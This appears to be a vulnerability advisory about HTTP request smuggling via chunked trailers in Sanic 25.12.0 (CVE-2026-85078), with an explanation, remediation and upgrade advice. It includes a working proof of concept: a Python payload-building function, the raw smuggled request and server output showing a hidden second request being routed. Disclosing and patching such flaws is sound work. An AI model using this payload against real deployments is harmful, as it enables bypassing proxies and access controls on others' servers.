Sanic, HTTP Request Smuggling via Chunked Trailer, CVE-2026-85078 (Medium) -DC-Sep2026-2423

Listen to this Post

Sanic’s HTTP/1.1 chunked-body handling does not fully consume the trailer-part after the terminating 0\r\n chunk. Because of that, attacker-controlled bytes left in the connection buffer after the first chunked request can be interpreted as the start of a new HTTP request on the same keep-alive connection. In the attached verified proof, a single outer POST / request that correctly returns 405 Method Not Allowed is followed, within the same TCP send, by a hidden second request smuggled through the chunked trailer area. Sanic parses and executes that second request as a real independent request.
The issue is a request-boundary integrity failure in Sanic’s core HTTP/1.1 parser. The verified impact is not speculative. The attached proof shows that one TCP payload produces two server responses: first the expected 405 for the outer POST /, then a separate 200 OK for a hidden GET /. A second exploit variant changes the hidden request path and receives a real 404 Not Found, proving that the hidden second request is not a hard-coded artifact but an actually routed backend request. A control case with a two-character trailer field name shifts the leftover bytes from GET to :GET, which changes the second response accordingly and confirms that the root cause is incorrect trailer consumption rather than legitimate pipelining.
This vulnerability is tracked as CVE-2026-85078. It affects Sanic version 25.12.0. A remote unauthenticated client can place attacker-controlled bytes in the trailer region, causing Sanic to parse and route them as a hidden second request after the outer request. This breaks HTTP request-boundary integrity and can provide a request-smuggling primitive when Sanic is deployed behind intermediaries. The CVSS 3.1 base score is 6.5, and the weakness is classified as CWE-444 (Inconsistent Interpretation of HTTP Requests). The issue has been fixed in version 25.12.1.

DailyCVE Form:

Platform: Sanic
Version: 25.12.0
Vulnerability: Chunked trailer smuggling
Severity: Medium
date: 2026-09-17

Prediction: 2026-10-15

What Undercode Say

python3 evidence/vuln_001_chunked_trailer_smuggle.py | tee evidence/vuln_001_chunked_trailer_smuggle.run.txt
def build_case_payload(path: str | None = None, field_name: str = "a") -> bytes:
prefix = build_prefix()
if path is None:
return prefix + b"0\r\n\r\n"
return (
prefix
+ b"0\r\n"
+ f"{field_name}:GET {path} HTTP/1.1\r\n".encode()
+ f"Host: {HOST}:{PORT}\r\n".encode()
+ b"\r\n"
)

Exploit: (Educational Purposes!)

Single TCP payload sent to `127.0.0.1:9381`:

POST / HTTP/1.1
Host: 127.0.0.1:9381
Connection: keep-alive
Transfer-Encoding: chunked
1
X
0
a:GET / HTTP/1.1
Host: 127.0.0.1:9381

Baseline case returns one response:

=== CASE: baseline_no_trailer ===
Received response blocks: 1
HTTP/1.1 405 Method Not Allowed

Exploit case returns two response blocks from one send:

=== CASE: exploit_smuggled_root ===
Received response blocks: 2
HTTP/1.1 405 Method Not Allowed
...
HTTP/1.1 200 OK
...
{"test":true}

Hidden attacker-controlled path case:

=== CASE: exploit_smuggled_404 ===
Received response blocks: 2
HTTP/1.1 405 Method Not Allowed
...
HTTP/1.1 404 Not Found
...
Requested URL /this-path-should-not-exist not found

Offset control case with two-character trailer field name:

=== CASE: offset_control_two_char_field_name ===
Received response blocks: 2
HTTP/1.1 405 Method Not Allowed
...
HTTP/1.1 405 Method Not Allowed
...
Method :GET not allowed for URL /

Protection: from this CVE

After parsing the terminating 0 chunk, Sanic must continue parsing and fully consuming the trailer-part until the final empty line before the connection buffer is reused.
If trailer support is not intended, reject any request that contains bytes after the terminating 0\r\n other than the expected final empty line, and then close the connection instead of keeping it alive.
Add regression coverage for: a normal 0\r\n\r\n chunked termination, a legal trailer that must be fully consumed, and a malicious trailer that must never cause a second backend request to be parsed.

Upgrade to Sanic version 25.12.1 or later.

Impact

An attacker who can send a chunked HTTP/1.1 request to a Sanic backend can cause the backend to interpret bytes from the trailer region as a second request on the same keep-alive connection. In the verified proof, that second request was fully routed and executed by the backend even though only one outer request was sent by the client.
This breaks the integrity of HTTP request boundaries inside the server. In real deployments that place Sanic behind reverse proxies, gateways, caches, or other intermediaries, a backend parser mismatch of this kind can become a request smuggling primitive with broader security consequences than the local proof route demonstrates.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top